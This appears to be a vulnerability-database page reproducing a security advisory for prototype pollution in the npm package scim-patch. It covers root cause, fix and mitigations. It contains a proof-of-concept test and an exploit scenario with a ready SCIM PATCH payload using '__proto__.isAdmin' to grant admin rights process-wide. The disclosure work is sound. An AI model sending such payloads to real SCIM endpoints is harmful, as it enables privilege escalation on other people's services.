scim-patch CVE-2026-48170
CRITICALSeverity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L
Network-reachable SCIM PATCH (AV:N/AC:L), requires a provisioning token (PR:L), no user interaction; library bug mutates whole Node process (S:C) with high integrity and partial confidentiality/availability impact.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
scim-patch performs prototype pollution when applying a SCIM PATCH operation whose value object contains a key like "__proto__.someProp". After one such patch, Object.prototype.someProp is set process-wide, affecting every plain object in the Node process.
Any service that calls scimPatch() on attacker-controlled JSON (i.e. any SCIM endpoint accepting PATCH from an external IdP) is exploitable on a stock Node runtime.
Impact
- Class: Prototype pollution (CWE-1321)
- Affected versions:
<= 0.9.0(current HEAD871b1e2) - Attack vector: Network - sent as part of a normal SCIM
PATCH /Users/:idrequest body. - Privileges required: Whatever the SCIM endpoint requires. For most integrations that's a provisioned IdP, which is "low" in CVSS terms (any authenticated provisioning client).
- Scope: Changed - the bug is in a SCIM library but the side effect (
Object.prototypemutation) leaks into the entire Node process.
Downstream consequences depend on what other code reads from plain objects. Realistic outcomes observed in similar bugs:
- Privilege escalation if any auth/middleware code checks
actor.isAdmin/req.user.admin/ similar boolean flags against a plain object that *expects* the key to be absent. - Logic bypass / DoS if any code branches on
obj.name,obj.type,obj.idetc. against plain objects (e.g.pg's prepared-statement naming check - a real incident at one consumer). - Persistence: lasts until the Node process restarts, so the blast radius is *every* request that container handles after the pollution.
Root cause
In src/scimPatch.ts:415-427, addOrReplaceObjectAttribute iterates the user-supplied patch.value with Object.entries and feeds each key to resolvePaths, which splits on .:
function addOrReplaceObjectAttribute(property: any, patch: ScimPatchAddReplaceOperation, multiValuedPathFilter?: boolean): any {
if (typeof patch.value !== 'object') { ... }
// src/scimPatch.ts:423-427
for (const [key, value] of Object.entries(patch.value)) {
assign(property, resolvePaths(key), value, patch.op);
}
return property;
}assign then walks the resulting key path with no filtering on dangerous keys (src/scimPatch.ts:437-445):
function assign(obj: any, keyPath: Array<string>, value: any, op: string) {
const lastKeyIndex = keyPath.length - 1;
for (let i = 0; i < lastKeyIndex; ++i) {
const key = keyPath[i];
if (!(key in obj)) {
obj[key] = {};
}
obj = obj[key]; // ← obj["__proto__"] === Object.prototype
}
// ... assigns into Object.prototype
}For keyPath = ["__proto__", "polluted"]:
"__proto__" in objis always true, so the fresh-object branch is skipped.obj = obj["__proto__"]now points toObject.prototype.- The final write lands on
Object.prototype.polluted.
The same shape works for constructor.prototype keys.
Proof of concept
Drop this in test/prototypePollution.test.ts and run npm run build && npx mocha lib/test/prototypePollution.test.js. Both tests pass against HEAD 871b1e2:
import { scimPatch } from '../src/scimPatch';
import { ScimUser } from './types/types.test';
import { expect } from 'chai';
describe('Prototype pollution via scim-patch', () => {
let scimUser: ScimUser;
beforeEach(() => {
scimUser = JSON.parse(`{
"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
"id": "tea_4",
"userName": "spiderman",
"name": { "familyName": "Parker", "givenName": "Peter" },
"active": true,
"emails": [{ "value": "spiderman@superheroes.com", "primary": true }],
"roles": [],
"meta": { "resourceType": "User", "created": "x", "lastModified": "x", "location": "x" }
}`);
});
afterEach(() => {
delete (Object.prototype as any).polluted;
delete (Object.prototype as any).isAdmin;
});
it('pollutes Object.prototype via a value-key containing __proto__', () => {
expect(({} as any).polluted).to.equal(undefined);
scimPatch(scimUser, [{
op: 'add',
path: 'name',
value: { '__proto__.polluted': 'yes' }
}]);
expect((Object.prototype as any).polluted).to.equal('yes');
expect(({} as any).polluted).to.equal('yes');
});
it('elevates Object.prototype.isAdmin - the admin-escalation shape', () => {
expect(({} as any).isAdmin).to.equal(undefined);
scimPatch(scimUser, [{
op: 'add',
path: 'name',
value: { '__proto__.isAdmin': true }
}]);
expect((Object.prototype as any).isAdmin).to.equal(true);
expect(({} as any).isAdmin).to.equal(true);
});
});Suggested fix
Reject the three dangerous keys in assign() before the walk. Minimal patch:
const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);
function assign(obj: any, keyPath: Array<string>, value: any, op: string) {
for (const key of keyPath) {
if (DANGEROUS_KEYS.has(key)) {
throw new InvalidScimPatchOp(`Forbidden key in patch path: ${key}`);
}
}
// ... existing logic
}Alternative, slightly safer: switch the walk target to Object.create(null) nodes when creating intermediate objects, and use Object.defineProperty(obj, key, { value, enumerable: true, configurable: true, writable: true }) instead of obj[key] = value for the final write. That defends against future prototype-walking sinks even if a key sneaks past the denylist.
Either approach is a non-breaking change - legitimate SCIM clients never send these keys.
Mitigation for consumers who can't upgrade immediately
Calling Object.freeze(Object.prototype) (and the same on Array.prototype, Function.prototype) at process startup neutralizes this class of bug - assignment to a frozen prototype becomes a silent no-op in sloppy mode or a TypeError in strict mode. Node's --frozen-intrinsics flag does this for built-ins automatically.
Credit
Discovered by Lee Wang (Notion). Reported by David Wu (Notion).
Report authored by Claude. Reviewed by David Wu.
Articles & Coverage 1
AnalysisAI
Prototype pollution in the npm package scim-patch (versions <= 0.9.0) allows authenticated SCIM provisioning clients to mutate Object.prototype process-wide by submitting a PATCH operation whose value object contains a key such as __proto__.someProp or constructor.prototype.someProp. Because the side effect persists for the lifetime of the Node process and leaks into every plain object, downstream code that checks flags like req.user.isAdmin against unpolluted plain objects can suffer privilege escalation, logic bypass, or denial of service. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The target application must (a) embed the npm package scim-patch at version <= 0.9.0 and (b) call `scimPatch()` on a `value` (or `path`) supplied by the request body, which is the normal usage pattern for any SCIM 2.0 PATCH endpoint such as `/Users/:id` or `/Groups/:id`. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The NVD CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L (9.1, Critical) accurately captures that exploitation is a single network PATCH from any provisioning client, with scope change reflecting the fact that the library bug mutates the entire Node process. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A compromised or malicious identity provider (or any tenant with provisioning credentials) sends `PATCH /Users/some-id` with body `[{"op":"add","path":"name","value":{"__proto__.isAdmin":true}}]`; scim-patch walks the dotted key, lands on `Object.prototype`, and sets `isAdmin=true` for every plain object in the Node process. Subsequent unrelated requests that authorize on `req.user.isAdmin` (or branch on similarly absent properties) then succeed as administrators until the container restarts. … |
| Remediation | Vendor-released patch: upgrade scim-patch to 0.9.1 or later, which adds a denylist of `__proto__`, `constructor`, and `prototype` segments in `resolvePaths`/`assign` and throws `InvalidScimPatchOp` when they appear (commit https://github.com/thomaspoignant/scim-patch/commit/260f9cd2ac5ceac3976978850bb47dcb391720f6, advisory https://github.com/thomaspoignant/scim-patch/security/advisories/GHSA-9m6g-wc8r-q59c). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify all applications and services using scim-patch version 0.9.0 or earlier. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More in Prototype Pollution
View allPrototype pollution in Adobe Acrobat Reader versions 24.001.30356, 26.001.21367 and earlier enables arbitrary code execu
Prototype pollution in the farinspace Partners WordPress plugin (versions up to and including 0.2.0) enables remote unau
Prototype pollution vulnerability in 'deephas' versions 1.0.0 through 1.0.5 allows attacker to cause a denial of service
A Prototype Pollution issue in Cronvel Tree-kit v.0.7.4 and before allows a remote attacker to execute arbitrary code vi
A Prototype Pollution issue in Aliconnect /sdk v.0.0.6 allows an attacker to execute arbitrary code via the aim function
All versions of the package safe-eval are vulnerable to Prototype Pollution via the safeEval function, due to improper s
This affects the package vm2 before 3.9.4 via a Prototype Pollution attack vector, which can lead to execution of arbitr
Prototype Pollution in chargeover redoc v2.0.9-rc.69 allows attackers to execute arbitrary code or cause a Denial of Ser
alizeait unflatto <= 1.0.2 was discovered to contain a prototype pollution via the method exports.unflatto at /dist/inde
A vulnerability exists in the 'dagre-d3-es' Node.js package version 7.0.9, specifically within the 'bk' module's addConf
A Prototype Pollution vulnerability in the util-deps.addFileDepend function of magix-combine-ex versions thru 1.2.10 all
Chartist 1.x through 1.3.0 allows Prototype Pollution via the extend function. Rated critical severity (CVSS 9.8), this
Same technique Privilege Escalation
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-9m6g-wc8r-q59c